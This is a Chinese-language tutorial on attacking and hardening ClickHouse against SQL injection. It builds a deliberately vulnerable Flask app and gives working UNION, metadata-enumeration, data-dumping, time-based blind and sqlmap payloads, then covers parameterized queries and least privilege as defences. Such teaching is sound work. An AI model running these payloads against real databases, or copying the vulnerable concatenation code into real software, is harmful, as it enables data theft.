ClickHouse SQL注入攻防实战:从漏洞原理到安全加固完整指南

发布时间:2026/7/16 9:36:45
ClickHouse SQL注入攻防实战:从漏洞原理到安全加固完整指南 1. 项目概述为什么ClickHouse注入值得关注最近在分析一些数据平台的日志时我注意到一个有趣的现象越来越多的企业开始将ClickHouse作为实时分析的核心引擎。这个由俄罗斯Yandex公司开发的列式数据库凭借其恐怖的查询速度在OLAP领域几乎成了“性能怪兽”的代名词。然而和所有技术栈的演进一样当一项技术快速普及时其安全性往往容易被忽视。很多人包括一些经验丰富的开发者潜意识里会认为ClickHouse作为一个“大数据分析库”其使用场景主要是内部ETL和报表不像传统MySQL那样直接面向Web因此SQL注入的风险似乎没那么高。但实际情况恰恰相反随着ClickHouse HTTP接口、JDBC/ODBC驱动在各种数据中台、BI工具中的广泛应用它暴露的攻击面正在急剧增加。我之所以花时间整理这份从零开始的实战指南是因为我亲眼见过由于配置不当导致的ClickHouse数据泄露案例。攻击者并非利用了多么高深的0day仅仅是通过一个未经验证的查询输入点就实现了对整张用户行为明细表的拖库。这个项目标题“ClickHouse注入实战从环境搭建到漏洞利用的完整指南”其核心价值就在于打破这种“分析库很安全”的错觉。我们将从一个攻击者或者说安全研究员的视角完整地走一遍流程如何快速搭建一个包含漏洞的ClickHouse测试环境如何识别和利用常见的注入点以及最终如何修复它。这对于数据平台开发者、运维工程师和安全工程师来说都是一次必要的“攻防演练”能让你在构建或维护基于ClickHouse的系统时清楚地知道风险在哪里以及如何筑起防线。2. 环境搭建构建一个安全的“靶场”进行安全研究第一步永远是搭建一个可控、隔离的测试环境。直接在线上或生产环境进行注入测试是极其危险且不道德的行为。我们的目标是在本地或隔离的虚拟机中复现一个典型的、存在漏洞的ClickHouse应用场景。2.1 ClickHouse单机服务部署部署ClickHouse有多种方式为了模拟最真实的企业环境我推荐使用Docker和直接安装两种方式并行了解。Docker方式适合快速拉起测试而直接安装则能让你更清楚地看到其文件结构和配置。方案一使用Docker快速部署推荐新手这是最快的方式一条命令就能运行一个ClickHouse服务器实例。# 拉取最新的ClickHouse服务器镜像 docker pull clickhouse/clickhouse-server:latest # 运行ClickHouse容器将本地的9000端口TCP协议客户端连接和8123端口HTTP协议映射出来 docker run -d \ --name some-clickhouse-server \ -p 9000:9000 \ -p 8123:8123 \ --ulimit nofile262144:262144 \ clickhouse/clickhouse-server:latest这条命令做了几件事-d表示后台运行--name指定容器名称-p 9000:9000映射了原生TCP端口供clickhouse-client或其他驱动程序使用-p 8123:8123映射了HTTP端口这是我们后续进行注入测试的主要入口--ulimit调整了文件描述符限制这是ClickHouse在高负载下的推荐设置。执行后你可以通过docker logs some-clickhouse-server查看启动日志确认没有错误。使用curl http://localhost:8123/ping如果返回“Ok”则说明HTTP服务已就绪。方案二在Linux系统上直接安装如果你想深入了解配置可以在Ubuntu/CentOS上直接安装。# 对于Ubuntu/Debian sudo apt-get install -y apt-transport-https ca-certificates dirmngr sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv E0C56BD4 echo deb https://packages.clickhouse.com/deb stable main | sudo tee /etc/apt/sources.list.d/clickhouse.list sudo apt-get update sudo apt-get install -y clickhouse-server clickhouse-client # 启动服务 sudo service clickhouse-server start安装后配置文件通常位于/etc/clickhouse-server/下数据文件在/var/lib/clickhouse/。你可以通过sudo clickhouse-client直接连接本地服务。注意默认安装后ClickHouse的服务监听在127.0.0.1这意味着只能从本机访问。这是安全的默认配置。但为了模拟“暴露给外部应用”的不安全场景我们需要调整配置。2.2 模拟漏洞应用场景搭建一个常见的易受攻击场景是一个简单的Web应用或数据查询平台接收用户输入拼接成ClickHouse SQL语句通过HTTP接口执行查询并返回结果。我们将用Python Flask快速模拟这样一个漏洞后端。首先确保你的ClickHouse HTTP接口可以被访问。编辑ClickHouse服务器的配置文件/etc/clickhouse-server/config.xmlDocker容器内路径为/etc/clickhouse-server/config.xml找到listen_host标签。!-- 将原来的 -- !-- listen_host127.0.0.1/listen_host -- !-- 修改为允许任何IP连接仅用于测试环境 -- listen_host0.0.0.0/listen_host修改后重启ClickHouse服务。务必牢记在生产环境中绝对禁止这样配置这等同于将数据库裸奔在公网。接下来我们创建一个存在注入漏洞的Python演示程序vulnerable_app.pyfrom flask import Flask, request, jsonify import requests app Flask(__name__) CLICKHOUSE_URL http://localhost:8123 def execute_query(query): 一个极其危险的不安全查询执行函数 try: response requests.post(CLICKHOUSE_URL, dataquery) return response.text except Exception as e: return str(e) app.route(/query, methods[GET]) def query_data(): # 模拟从用户输入中获取表名和过滤条件 table_name request.args.get(table, default_table) filter_value request.args.get(filter, ) # 危险操作直接拼接用户输入到SQL语句中 sql fSELECT * FROM {table_name} WHERE column {filter_value} print(f执行的SQL: {sql}) # 打印出来方便观察 result execute_query(sql) return jsonify({sql: sql, result: result}) if __name__ __main__: app.run(debugTrue, port5000)这个程序有两个致命的漏洞点table参数被直接拼接可用于进行UNION查询或子查询注入。filter参数被直接包裹在单引号中是典型的字符型注入点。运行这个应用python vulnerable_app.py我们的“漏洞靶场”就准备好了。访问http://localhost:5000/query?tablesystem.numbersfilter1它会尝试查询一个内置系统表。3. ClickHouse注入原理与特性深度解析在开始“攻击”之前必须理解ClickHouse SQL注入与传统MySQL/PostgreSQL注入的异同。盲目套用传统技巧可能会碰壁。3.1 ClickHouse SQL语法特性与注入点识别ClickHouse的SQL方言有其独特之处这直接影响注入手法的有效性。1. 注释符差异 ClickHouse支持标准的--单行注释和/* */多行注释。但在HTTP接口中由于查询是通过POST body发送末尾的--有时需要结合\n换行才能生效而/* */则非常可靠。2. 字符串字面量与函数 ClickHouse对字符串的处理更严格。它支持用单引号string定义字符串。一个关键特性是它提供了大量的字符串和编码函数如toString()、hex()、base64Encode()等这在构造盲注Payload时非常有用。例如你可以用toString(11)来代替2。3. 子查询与UNION ALL ClickHouse的UNION ALL使用广泛且要求所有SELECT语句的列数必须严格一致类型兼容。这对于基于联合查询的注入是可行的。同时ClickHouse的子查询能力强大(SELECT ...)可以作为表达式或表使用为注入提供了更多可能性。4. 系统表与元数据获取 这是信息收集的关键。ClickHouse提供了丰富的系统表相当于其“信息模式information_schema”system.databases列出所有数据库。system.tables列出所有表及其详细信息数据库、引擎、列等。system.columns列出所有列的信息。system.processes查看当前正在执行的查询可用于判断注入是否成功执行。system.settings查看服务器设置。5. HTTP接口与返回值 默认的8123端口HTTP接口接受POST请求请求体就是SQL语句。查询结果默认以TabSeparated格式返回。一个非常重要的特性是当查询执行出错时ClickHouse会返回一个包含错误信息的HTTP 500响应。这意味着基于错误信息的注入Error-based Injection在ClickHouse上是可行的并且错误信息可能泄露部分数据或结构。3.2 常见注入场景分类根据我们模拟的应用注入点主要分为两类1. 参数值注入Value Injection 即我们示例中的filter参数。攻击者控制的是WHERE column ‘用户输入’中单引号内的部分。闭合前面的引号并插入恶意SQL代码是主要思路。2. 标识符注入Identifier Injection 即我们示例中的table参数。攻击者控制的是表名、列名等标识符。ClickHouse的标识符可以用反引号包裹但通常也可以不用。这里不能直接使用单引号闭合但可以插入完整的子查询或利用JOIN等语法。例如将表名替换为一个子查询(SELECT ...)这在某些上下文中是允许的。4. 漏洞利用实战手把手构造注入Payload现在我们利用搭建的漏洞环境进行实际的注入测试。请务必仅在本地测试环境操作。4.1 信息收集与侦察首先我们需要确认注入点是否存在以及是什么类型。步骤1探测注入点访问http://localhost:5000/query?tablesystem.numbersfilter1我们在filter参数的值1后加了一个单引号。如果应用原样拼接生成的SQL将是SELECT * FROM system.numbers WHERE column 1这会导致一个SQL语法错误。观察返回结果。如果程序返回了ClickHouse的原生错误信息如“DB::Exception: Syntax error...”那么不仅证实了注入存在还说明开启了错误回显这非常有利于后续利用。步骤2确定列数为UNION查询做准备使用ORDER BY子句。ORDER BY N表示按第N列排序如果N超过实际列数则会报错。 访问http://localhost:5000/query?tablesystem.numbersfilter1 ORDER BY 1--访问http://localhost:5000/query?tablesystem.numbersfilter1 ORDER BY 5--通过递增数字直到报错就可以推断出SELECT * FROM system.numbers查询结果的列数。对于system.numbers表它只有一列名为number。步骤3探测系统信息利用报错信息或时间延迟。ClickHouse有一些内置函数可以获取信息。获取版本version()当前数据库currentDatabase()当前用户currentUser()我们可以构造一个会执行这些函数的子查询并让它以某种形式出现在结果或错误中。例如尝试触发一个除零错误来回显信息 访问http://localhost:5000/query?tablesystem.numbersfilter1 AND (SELECT 1/0 FROM system.numbers LIMIT 1)--这可能不会直接显示信息。更有效的方法是使用UNION查询但需要先知道列数。假设我们通过ORDER BY知道原查询有3列我们可以构造 UNION ALL SELECT version(), currentDatabase(), currentUser()--但我们的示例中原查询是SELECT * FROM system.numbers只有1列。所以我们需要让UNION后面的查询也返回1列。我们可以将多个信息合并成一列 访问http://localhost:5000/query?tablesystem.numbersfilter1 UNION ALL SELECT concat(version(), | , currentDatabase(), | , currentUser())--这个Payload会尝试将版本、数据库和用户信息合并成一个字符串返回。4.2 利用系统表获取元数据确认可以执行联合查询后我们就可以系统地获取数据库结构了。1. 获取所有数据库名访问http://localhost:5000/query?tablesystem.numbersfilter1 UNION ALL SELECT name FROM system.databases--这会在结果中列出所有数据库通常包括system、default等。2. 获取指定数据库如default中的所有表访问http://localhost:5000/query?tablesystem.numbersfilter1 UNION ALL SELECT name FROM system.tables WHERE databasedefault--3. 获取指定表假设为users的所有列名访问http://localhost:5000/query?tablesystem.numbersfilter1 UNION ALL SELECT name FROM system.columns WHERE databasedefault AND tableusers--4.3 数据提取实战假设我们通过侦察发现存在一个default.user_info表里面有id,username,email三列。直接提取数据访问http://localhost:5000/query?tablesystem.numbersfilter1 UNION ALL SELECT concat(toString(id), :, username, :, email) FROM default.user_info--这个Payload会将user_info表的所有行以id:username:email的格式拼接成一列并合并到原始查询结果中。处理数据量大的情况如果表数据量很大直接SELECT *可能导致请求超时或返回过多数据。我们需要使用LIMIT和OFFSET进行分页。 访问http://localhost:5000/query?tablesystem.numbersfilter1 UNION ALL SELECT concat(toString(id), :, username) FROM default.user_info LIMIT 10 OFFSET 0--然后修改OFFSET为 10, 20, 30... 来分批获取数据。4.4 标识符注入表名/列名注入利用回顾我们的漏洞应用table参数也是注入点。这种注入的利用方式不同因为它处在SQL语句中标识符的位置。一个简单的测试是尝试访问一个不存在的表看错误信息http://localhost:5000/query?tablenonexistent_tablefilter1更高级的利用是将表名替换为一个子查询。但并非所有上下文都允许这样做。一个可能的方法是利用JOIN或子查询作为表来源。例如在ClickHouse中你可以这样写SELECT * FROM (SELECT data AS a) AS fake_table因此我们可以尝试控制table参数为这样的子查询 访问http://localhost:5000/query?table(SELECT%20%27injected%27%20AS%20col)%20AS%20fake_tablefilter1注意这里URL编码了空格和括号。实际Payload是(SELECT injected AS col) AS fake_table如果应用拼接后的SQL是SELECT * FROM (SELECT injected AS col) AS fake_table WHERE column 1并且执行成功那么我们就实现了通过标识符注入执行任意子查询。这可以用来提取数据但通常比值注入更受限制因为子查询必须返回一个有效的表结构。5. 自动化探测与利用思路手动构造Payload虽然直观但效率低下。在实际安全测试中我们通常会借助工具或编写脚本。对于ClickHouse由于它不是SQLMap等传统工具默认支持的重点数据库因此需要一些技巧。1. 使用SQLMap的Tamper脚本SQLMap可以通过--tamper参数使用自定义脚本对Payload进行编码和修改。我们可以编写一个简单的Tamper脚本来适配ClickHouse的语法特性比如处理注释、函数。但核心是你需要通过--dbms参数告诉SQLMap目标是什么或者直接不指定让SQLMap自行探测。由于ClickHouse的指纹特征如HTTP接口返回的X-ClickHouse-Server-Display-Name头或错误信息中的DB::ExceptionSQLMap有可能识别出来。一个基本的命令尝试可能是sqlmap -u http://localhost:5000/query?tablesystem.numbersfilter1 --risk3 --level5 --batch但成功率不一定高因为SQLMap的Payload库主要针对传统数据库。2. 编写专用探测脚本更可靠的方法是针对ClickHouse HTTP接口编写一个简单的Python脚本。这个脚本可以发送带有单引号、括号等字符的测试Payload根据响应判断是否存在注入。如果存在错误回显尝试通过UNION查询system.tables来获取元数据。实现一个简单的布尔盲注逻辑通过AND条件结合sleep函数如果可用或根据页面返回内容/长度的差异来判断条件真假。ClickHouse虽然没有标准的SLEEP()函数但可以通过执行一个耗时操作来模拟例如AND (SELECT count() FROM system.numbers LIMIT 100000000)。如果条件为真则执行这个耗时子查询导致响应延迟从而实现基于时间的盲注。6. 防御方案从根源上杜绝注入风险了解了攻击手法防御就变得有针对性。核心原则就一条绝不信任任何用户输入禁止字符串拼接生成SQL。6.1 使用查询参数化绑定变量这是最有效、最根本的防御手段。ClickHouse的HTTP接口和各类客户端驱动都支持参数化查询。以Python的clickhouse-driver库为例from clickhouse_driver import Client client Client(localhost) # 使用参数化查询%s 是占位符 sql SELECT * FROM user_info WHERE id %(id)s rows client.execute(sql, {id: user_input_id})在这个例子中user_input_id的值会被安全地传输到服务器端与SQL语句逻辑分离从根本上杜绝了拼接导致的语法改变。对于HTTP接口可以使用带参数的查询向http://localhost:8123/?query...发送请求时可以使用param_xxxvalue的形式传递参数并在SQL中用{xxx:DataType}引用。curl -X POST http://localhost:8123/?querySELECT%20*%20FROM%20table%20WHERE%20id%20%3D%20%7Bid%3AUInt32%7Did123URL解码后查询是SELECT * FROM table WHERE id {id:UInt32}参数id123被安全绑定。6.2 实施严格的输入验证与过滤如果某些复杂场景下无法使用参数化比如动态表名、列名则必须进行严格的白名单验证。对于标识符表名、列名检查输入是否只包含允许的字符字母、数字、下划线并且是否存在于一个预定义的合法名单中。例如只允许用户查询report_2024,report_2025这几个表。对于数值确保输入可以转换为目标类型整数、浮点数。避免使用黑名单试图过滤SELECT、UNION、--等关键词的黑名单方法很容易被绕过如大小写、双写、编码、注释变体等。6.3 最小权限原则与网络隔离数据库用户权限为前端应用创建专用的ClickHouse用户并授予其最小必要权限。例如只授予对特定数据库的SELECT权限甚至进一步限制到具体的表或视图。绝对不要使用default用户或具有ALL权限的用户运行应用。网络访问控制如环境搭建部分所述生产环境的ClickHouse服务绝不能监听在0.0.0.0。应该只允许来自应用服务器或内部网络的特定IP地址访问其端口9000 8123。使用防火墙或安全组规则进行严格限制。使用HTTP接口的只读限制可以在ClickHouse配置文件中为HTTP接口设置只读权限 (readonly1/readonly)这样即使被注入攻击者也无法执行INSERT、ALTER、DROP等破坏性操作。6.4 代码审查与安全测试将“禁止SQL字符串拼接”作为代码审查的硬性规则。在CI/CD流程中引入静态代码分析工具扫描代码库中的SQL拼接模式。定期对数据查询接口进行安全渗透测试模拟攻击者的行为主动发现潜在漏洞。ClickHouse注入虽然不如传统Web数据库注入那么常见但随着其生态的扩大相关的安全风险不容小觑。通过这次从环境搭建到利用再到防御的完整演练我希望你能建立起对ClickHouse安全性的立体认知。安全本质上是一种“攻防对抗”的思维只有真正理解攻击者会怎么想、怎么做我们才能在设计架构和编写代码时提前把篱笆扎牢。在实际工作中请务必坚持使用参数化查询并配合严格的权限和网络管控让你的数据分析平台既强大又坚固。